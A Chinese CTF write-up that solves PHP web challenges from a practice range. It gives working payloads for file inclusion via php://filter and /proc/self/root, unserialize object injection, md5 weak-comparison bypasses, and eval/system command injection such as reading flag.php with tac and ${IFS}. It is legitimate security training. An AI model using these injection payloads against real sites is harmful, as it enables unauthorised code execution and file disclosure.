zkaq-CTF靶场-2月靶场

zkaq-CTF靶场-2月靶场

1.伪协议(考点:伪协议读取、系统进程)

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

看到require_once使用伪协议读取系统文件

知识点: 在php中,require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once。

设想如何绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

image

参考链接:

https://www.anquanke.com/post/id/213235#h3-2

2.超全局变量(考点:超全局变量)

1
2
3
4
5
6
7
8
9
10
11
12
13
flag 在变量里!
<meta charset="UTF-8" />
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}

本题使用了两个知识点:

1.正则表达式匹配

2.可变变量 $$args

if(!preg_match(“/^\w+$/“,$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成

此题使用可变变量:payload: ?args=GLOBALS

image

3.命令执行(考点:命令执行)

打开页面只有个 config,尝试传入 参数config,没反应。

题目 提示:config.php文件命令执行。因为有登陆验证,不让目录扫描,扫了也没结果。

这里直接访问 config.php

image

参考链接:

https://bbs.zkaq.cn/t/6045.html

4.巧用花括号(考点:花括号用法)

1
2
3
4
5
6
7
8
 <?
#GOAL: gather some phpinfo();
function flag(){
echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

addslashes() 函数是 PHP 中用于在字符串中的特定字符前添加反斜杠 \ 的函数。它通常用于准备字符串,以防止其中的字符被误解为具有特殊含义的字符。这个函数的主要用途是在构建 SQL查询语句或其他需要转义特殊字符的上下文中,以防范一些安全问题,比如 SQL 注入。

例如:

image

题目提示使用花括号

PHP中花括号的用法:
字符串${foobar}中的foobar会被当作变量来处理

所以构造:?str=${system(id)}

@eval(‘$str=”‘.addslashes(${system(id)}.’”;’);

@eval(‘$str=”‘.addslashes(system(id)).’”;’);

payload: ?str=${flag()}

image

image

image

5.PHP特性(考点:PHP中引用的特性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
#GOAL: get the secret;
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

要求对pass传参,一个序列化的对象,使其能够满足$o->secret === $o->enter

payload:

1
2
3
4
5
6
7
8
9
<?php
class just4fun {
var $enter;
var $secret;
}
$j=new just4fun;
$j->enter = &$j->secret; //因为要求secret和enter相等,这里直接让他恒等于
echo urlencode(serialize($j));
?>

image

6.伪协议-Lv2(考点:伪协议data读取文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
highlight_file('index.php');
echo "Null ... Null ... Null ... ";

if(isset($_GET['src'])) {
die(highlight_file('index.php', true));
}

error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('Hello Hack.');
}
}

if($_SERVER){
if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING'])) die('Hello Hack..');
}

if(isset($_GET['cyber'])){
if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
die('Hello Hack...');
}else{
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
$getflag = file_get_contents($_GET['flag']);
}else
die('Hello Hack....');
if(isset($getflag) && $getflag === 'security'){
include 'flag.php';
echo $flag;
}else die('Hello Hack.....');
}
}
?>
Null ... Null ... Null ...

7.strcmp函数利用(考点:strcmp函数、null的特点)

image

题目提示:

strcmp传入数组的话,会返回null , 而null==0 是true

那么可以传入一个数组说明可以解题,但是不知道参数是什么。

页面显示 猜猜正确的flag是什么,试试将 flag 做为参数。成功获得 flag。

image

8.反序列化(考点:反序列化、base64_decode()函数)

image

页面只有个 hello token 内容

从题目提示中查找信息:

提示:满足条件$login[‘user’] === ‘ichunqiu’输出flag

hint: https://hack.zkaq.cn/file/down?id=e1e72cf886b36db4

下载后是个文本文件source.txt

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag="flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
session_start();
$requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);
if(isset($requset['token'])){
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu')
{
echo $flag;
}
}
?>

题目分析:

首先看 if($login['user'] === 'ichunqiu')

很明显 login 是个数组, 即 $login = array('user');

也就是 unserialize(gzuncompress(base64_decode($requset['token'])))==array('user'=>'ichunqiu');

转换一下,就得到了:

gzuncompress(base64_decode($requset['token']))==serialize(array('user'=>'ichunqiu'))

继续转换:

base64_decode($requset['token'])==gzcompress(serialize(array('user'=>'ichunqiu')))

最后是:

$requset['token']==base64_encode(gzcompress(serialize(array('user'=>'ichunqiu'))))

payload:

1
2
3
4
5
6
<?php
$a = array('user' => 'ichunqiu');
$compressed = gzcompress(serialize($a));
$encoded = base64_encode($compressed);
echo $encoded;
?>

编码后得到:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

image

9.ereg函数特性(考点:ereg()函数特性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php 
highlight_file('index.php');
include('flag.php');
if (isset ($_GET['password']))
{
# password必须只包含保护数字和字母
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
# 密码中必须包含*-*
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

题目分析:

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) password必须只包含保护数字和字母

if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)长度必须<8,且值要>9999999

if (strpos ($_GET['password'], '*-*') !== FALSE) strpos 是查找字符串首次出现的位置

要达到9999999这么大的数,只能使用科学计数法。他的表示形式是例如:1e9(即:1x10^9)

1、利用ereg%00绕过的特性 aaaa%00- 绕过1

2、利用科学计数法绕过2和3,最终答案: 1e9%00- ,刚好%00传到后台被解析为1个字符,总共7个字符。1e9=1000000000,满足>9999999

其他:9999999设置的不够极限,还可以往后设置两位

image

10.URL编码(考点:URL编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file('index.php');
include('flag.php');
if(eregi("hackerDJ",$_GET["id"])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET["id"] = urldecode($_GET["id"]);
if($_GET["id"] == "hackerZY")
{
echo "<p>Nice This flag!</p>";
echo "$flag";
}
?>

直接构造payload: ?id=hackerZY

image

11.反序列化-Lv2(考点:反序列化、类销毁、回调函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php

highlight_file(__FILE__);
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach ($this->settings as $key => $value) {
ini_set($key, $value);
}
}

public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}
unserialize($_GET['data']);

12.反序列化-Lv3(考点:反序列化字符串逃逸)(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
highlight_file(__FILE__);
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?> wrong password

满足if($this->password==='yu22x')就能得到flag,

难点是$password不可控,考查的是反序列化字符串逃逸

要在参数值的结尾构造:”;s:8:”password”;s:5:”yu22x”;}(总共是30个字符)。因为str_replace(‘Firebasky’,’Firebaskyup’,$string);替换后从9个字符变为了11个,多了两个字符,因此输入15个Firebasky即可。

payload:

1
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

image

参考地址:

https://bbs.zkaq.cn/t/6093.html

https://www.cnblogs.com/NPFS/p/13338789.html

13.科学计数法(考点:科学计数、intval函数特性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "hellohacker", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 去非洲吧

提示:传入的数既要小于2020,又要+1后大于2021

可使用用科学计数法来绕过:1e9(1xe^9)

intval() 函数返回变量的整数值。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = 32;
echo intval($a) . "<br>"; // 输出 32
$b = 3.2;
echo intval($b) . "<br>"; // 输出 3
$c = "32.5";
echo intval($c) . "<br>"; // 输出 32
$d = array();
echo intval($d) . "<br>"; // 输出 0
$e = array("red", "green", "blue");
echo intval($e) . "<br>"; // 输出 1
?>

本题中: intval($num + 1)涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。

1
2
3
4
5
6
<?php
$num = '1e9';
echo intval($num); // 输出 1,遇到e就忽略后面所有的内容
echo "\n";
echo intval($num + 1); //输出 1000000001
?>

level 2:要求 传入的值和传入的值的md5要相等。 也能用 科学计数法,可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。这里找了个py脚本

1
2
3
4
5
6
7
import hashlib
import re
for i in range(0,1000000000000):
strr = "0e"+str(i)
md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()):
print(strr+": "+md5)

程序执行时间很长,以下是算出来的合适的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#0e215962017: 0e291242476940776845150308577824
#0e251288019: 0e874956163641961271069404332409
0e730083352: 0e870635875304277170259950255928
0e807097110: 0e318093639164485566453180786895
0e1137126905: 0e291659922323405260514745084877
0e1284838308: 0e708279691820928818722257405159
0e2799298535: 0e258310720843549656960157258725
0e3335999050: 0e130023719718288785799459522477
0e3519466817: 0e094940930906507337180165634011
0e3583856241: 0e393014257117871018763295906362
0e4024205916: 0e846808382385411076718939894134
0e4340320546: 0e575745933756430831732364327914
0e4409827558: 0e655702474170091577049484139779
0e4599646567: 0e055111746358868173275656265715
0e4738654553: 0e894560071390737822227761038240
0e4858047624: 0e429229533924775465038205090387
0e4893612206: 0e420872451180943219372461458476
0e5464140925: 0e594427322853794026757264988602
0e6720551761: 0e247620669707457791787492426675
0e6816168251: 0e879471204618697257370037395611
0e6919296914: 0e157936471584309819113594592931
0e7073816470: 0e069321401020050043331093189824

get flag :过滤空格和cat的命令执行,cat可以用 tac 来代替,空格可以用 ${IFS}来代替。

最后payload构造为:

1
?num=1e9&md5=0e215962017&get_flag=tac${IFS}flag.php

image

14.加密题(考点:MD5加密)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if (isset($a)) {

if ($a != 'QNKCDZO' && $md51 == $md52) {

echo "flag{*****************}";
} else {

echo "false!!!";
}
} else {

echo "please input a";
}
?> please input a

题目提示:传入变量a的值不等于 QNKCDZO

按照题目要求找一个非 QNKCDZO 值传入 a即可.

php会把以0E/0e开头的哈希值解释为0
所以传入的a的值Q经过md5加密后字符串开头为0e/0E

payload: ?a=571579406

image

15.弱类型比较(考点:==绕过、MD5编码)

题目打开是个无法访问的页面,仔细看原代码在下面

1
2
3
4
5
6
7
8
9
<?php
$flag = '{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('flag: ' . $flag);
else
print 'Wrong.';
}

使用弱类型比较绕过md5编码

数组和科学计数法,强类型比较只能用数组

payload:

?a[]=1&b[]=2

?a=PJNPDWY&b=571579406

image

image

16.弱类型比较-Lv2(考点:弱类型比较、MD5编码特性)

image

PD9waHAKCWluY2x1ZGUoJ2Zs YWcucGhwJyk7CgloaWdobGlnaHRf ZmlsZSgnaW5kZXgucGhwJyk7Cgkk djE9JF9HRVRbJ3YxJ107CgkkdjI9 JF9HRVRbJ3YyJ107CglpZihpc3Nl dCgkdjEpICYmIGlzc2V0KCR2Mikp ewoJCWlmKCFjdHlwZV9hbHBoYSgk djEpKXsKCQkJZGllKCJ2MSBlcnJv ciIpOwoJCX0KCQlpZighaXNfbnVt ZXJpYygkdjIpKXsKCQkJZGllKCJ2 MiBlcnJvciIpOwoJCX0KCQlpZiht ZDUoJHYxKT09bWQ1KCR2MikpewoJ CQllY2hvICRmbGFnOwoJCX0KCX1l bHNlewoJCWVjaG8gIndoZXJlIGlz IGZsYWc/IjsKCX0KPz4=
where is flag?

这个base64中间有空格,都被拆开了,想办法组合起来

image

转换后得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include('flag.php');
highlight_ file('index.php');
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isse t($v1) && isset($v2)) {
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_num eric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}e lse{
echo "where is flag?";
}
?>

有两个参数v1v2

构造payload:?v1[]=1&v2[]=2

?v1=PJNPDWY&v2=571579406

‌**ctype_alpha() 是PHP中用于检测字符串是否仅由字母组成的函数**‌。 所以此题不能使用数组绕过,科学计数法也只能使用全是字母的字符串

image

17.命令执行-Lv2(考点:命令执行、正则绕过、Linux命令特性)

1
2
3
4
5
6
7
8
9
 <?php 
error_reporting(0);
if(isset($_GET['c'])){ $c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c); } }
else{
highlight_file(__FILE__);
}
?>

提示:命令执行读取flag所在的文件

只过滤了个 flag ,使用通配符绕过即可

payload:

1
2
3
?c=system("id");
?c=system("tac+fl*");
?c=system("tac%20fl*");

image

image

18.文件包含(考点:文件包含、伪协议读取)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php error_reporting(0);
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|exec|shell|php|\.| |\'|\`|echo|\;|\(/i", $c))
{
eval($c);
}
}
else
{
highlight_file(__FILE__);
}

提示:文件包含配合伪协议读取

php被过滤掉了,不能使用 php://filterphp://input伪协议

构造payload:

1
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image

19.代码执行(考点:代码执行)

1
2
3
4
5
6
7
8
9
10
 <?php 
// flag in flag.php
if(isset($_POST['c']))
{ $c= $_POST['c'];
eval($c);
}
else
{
highlight_file(__FILE__);
}

此题没有任何过滤,使用post传参

payload:

1
2
c=system('ls');
c=system('tac f*');

发现有个 flag.php1.txt,通过命令读取内容一样,都是flag内容

image

image

20.八进制(考点:八进制绕过正则)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num']))
{
$num = $_GET['num']; if($num==20211001)
{
die("no no no!");
}
if(preg_match("/[a-z]/i", $num))
{
die("no no no!");
}
if(intval($num,0)==20211001)
{
echo $flag;
}
else
{
echo intval($num,0);
}
}

?>

提示:使用八进制绕过正则匹配

代码要求变量num不能等于20211001,也不能是字母

intval($num, 0) 函数的作用:只能返回数字的函数,将$num转换为整数,自动识别进制。

自动识别进制的规则 :根据前缀判断,如0x为十六进制,0开头为八进制,否则十进制。

if(intval($num,0)==20211001):**判断变量 $num 转换为整数后是否等于 20211001**。

20211001转换为八进制数为:115062471前边需要加0,表示八进制0115062471

由于字符串以 0 开头,PHP 会尝试按八进制解析。最终解析为:20211001

所以payload:

?num=0115062471

image

21.代码执行-Lv2(考点:PHP优先级、or 、and、代码执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
include("flag.php");
//flag in class flag;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0)
{
if(!preg_match("/\;/", $v2))
{
if(preg_match("/\;/", $v3))
{
eval("$v2('ctfshow')$v3");
}
}
}
?>

提示:php中OR与|| AND与&&的区别

看到 if($v0) 要满足条件才能执行下面的代码,那么 v0 必须为 true

因为赋值的优先级=高于and,所以v0的值可以由v1来控制,所以需要给其赋值为1也就是true, 由于运算符优先级的问题,$v0实际上等于is_numeric($v1),然后执行and后面的表达式,但赋值操作已经完成。因此,无论v2v3是否为数字,只要v1是数字,$v0就会被赋值为true,然后and后面的条件会被执行,但结果不影响$v0的值。

if(!preg_match("/\;/", $v2))检查v2是否不包含分号;

if(preg_match("/\;/", $v3))检查v3是否包含分号;

之后,代码将$v2('ctfshow')$v3拼接到eval中执行。例如,如果v2echov3;,那么整个表达式变成echo('ctfshow');,这会输出’ctfshow’字符串。

看到 eval,可以想到要使用命令执行,变量 v2可以为 system,那么就成了 system('ctfshow');这个没有意义,不能输出flag

可以让v2为:system('cat flag.php') ,但是不能又;, v3为:; , 组合后成为: eval("system('cat flag.php')('ctfshow');");这也不正常。

直接构造payload:

我们可以直接构造 eval($v2('ctfshow')$v3);

v2=system("cat flag.php")/*

v2=*/;

组合起来就是:eval(system("cat flag.php")/*('ctfshow')*/;);

可以看到 /*('ctfshow')*/是被过滤掉的内容,;被剩下来了,作为代码结束部分。

所以最终payload为:

1
?v1=1&v2=system('cat flag.php')/*&v3=*/;

答案在源代码中

image

22.伪协议-Lv3(考点:正则绕过、伪协议读取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file)
{
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file))
{
die('hacker!');
}
else
{
return $file;
}
}
$file=$_GET['file'];
echo "flag in flag.php!";
if(! is_file($file))
{
highlight_file(filter($file));
}
else
{
echo "hacker!";
}
flag in flag.php!

构造payload:从过滤规则中看到以下payload关键字没有被过滤

1
?file=php://filter/resource=flag.php

image

23.ASCII码绕过检测(考点:ASCII码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num)
{
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
} $num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
{
if($num=='36')
{
echo $flag;
}
else
{
echo "hacker!!";
}
}
else
{
echo "hacker!!!";
}
?>
hacker!!!

提示:num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36

关键代码:if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')

利用代码中的条件编写脚本找到合适的字符拼接36

1
2
3
4
5
6
7
8
<?php 
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))." ";
}
}
?>
1
%0C %2B - . 0 1 2 3 4 5 6 7 8 9

%0C在URL编码中表示换页符

满足弱类型比较 "%0c36" == '36'true

那么就使用:?num=%0C36

image

24.全局变量(考点:全局变量)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
highlight_file(__FILE__);
error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2)
{
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2']))
{
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1))
{
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2))
{
die("error v2");
}
if(preg_match('/ctfshow/', $v1))
{//规定v1的值
getFlag($v1,$v2);
}
}
?>

可以看到参数 v1v2都过滤了很多字符

题目提示: 利用全局变量来实现输出
v1=ctfshow

v2=GLOBALS
ctfshow=&GLOBALS 此时 ctfshow 的指向就是全局变量的指向,也具有了相同的作用,那么此时vardump(ctfshow)就是var_dump$GLOBALS

payload为:?v1=ctfshow&v2=GLOBALS

image

25.正则绕过(考点:绕过拦截字母和数字正则、数字和PHP语句组合执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
show=flag.php: not found <?php
//取反
include('flag.php');
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3']))
{
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2))
{
if(preg_match('/^\W+$/', $v3))
{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$flag;
}
}
}

提示:数字是可以和命令进行一些运算的,例如 1-phpinfo()

**$v1 = (String)$_GET['v1'];**:将 v1 参数转换为字符串类型。

**is_numeric($v1) && is_numeric($v2)**:检查 v1v2 是否为数字。

**preg_match('/^\W+$/', $v3)**:使用正则表达式检查 v3 是否仅包含非字母数字字符。

由于 v1v2 必须是数字,v3 必须是特殊字符,我们可以构造一个简单的数学表达式.

例如:

  • v1 = 1
  • v2 = 1
  • v3 = +

这样,$v1$v3$v2 就是 1+1eval("return 1+1;"); 将返回 2。代码中并未使用 eval 的返回值,而是直接输出 $v1$v3$v2 = ".$flag;。这意味着,只要通过了前面的条件判断,$flag 就会被输出。

还能使用绕过无字母数字的方法:

参考地址:https://blog.csdn.net/miuzzx/article/details/109143413

image

26.函数调用(考点:PHP类、PHP函数间的调用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
挑战VIP会员的第一天
<h3>挑战VIP会员的第一天<h3/>
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser
{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip()
{
return $this->isVip;
}
public function login($u,$p)
{
if($this->username===$u&&$this->password===$p)
{
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag()
{
if($this->isVip)
{
global $flag;
echo "your flag is ".$flag;
}
else
{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password))
{
$user = new ctfShowUser();
if($user->login($username,$password))
{
if($user->checkVip())
{
$user->vipOneKeyGetFlag();
}
}
else
{
echo "no vip,no flag";
}
}

payload: ?username=xxxxxx&password=xxxxxx

image

27.序列化(考点:$_COOKIE传参、序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
挑战VIP会员的第二天
<h3>挑战VIP会员的第二天<h3/>
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser
{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip()
{
return $this->isVip;
}
public function login($u,$p)
{
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip)
{
global $flag;
echo "your flag is ".$flag;
}
else
{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password))
{
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password))
{
if($user->checkVip())
{
$user->vipOneKeyGetFlag();
}
}
else
{
echo "no vip,no flag";
}
}

payload:

1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$c=new ctfShowUser;
echo urlencode(serialize($c));
?>

编码后得到:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

传参:?username=xxxxxx&password=xxxxxx

添加cookie为以上编码后的值:

image

image

28.爆破(考点:爆破、MD5编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
挑战VIP会员的第三天
you no VIP ! <h3>挑战VIP会员的第三天<h3/>
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
echo 'you no VIP !';
highlight_file(__FILE__);

}
?>

提示:需要构建poc,跑出满足if条件的paylload

从代码中看出:第2位,第15位,第18位是一样的,并且都是数字。假如第2,3,15位都是1,那么经过运算(1+1+1)/1=3,也就是第32位为3.

写个python脚本:

1
2
3
4
5
6
7
8
9
import hashlib

for i in range(1, 1000000000000000):
s = hashlib.md5(str(i).encode()).hexdigest()
if s[1]==s[14] and s[14]==s[17] and s[31].isdigit() and s[31]=='3':
print(i,s)
break
//运行结果
422 f85454e8279be180185cac7d243c5eb3

**str(i).encode()**: 将字符串转换为字节序列(bytes 类型),这是因为哈希函数需要处理字节数据。

**hashlib.md5(...)**: 创建一个 MD5 哈希对象,并将字节数据作为输入。

**.hexdigest()**: 计算哈希值,并以 32 个字符的十六进制字符串形式返回结果。

**s[31].isdigit()**:确认字符串 s 的第 32 个字符是否为数字。

image

29.伪随机数(考点:伪随机数)

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
phpinfo();
}

mt_srand() 函数:生成的是伪随机数

POC:

1
2
3
4
<?php 
mt_srand(372619038);
echo mt_rand();
?>

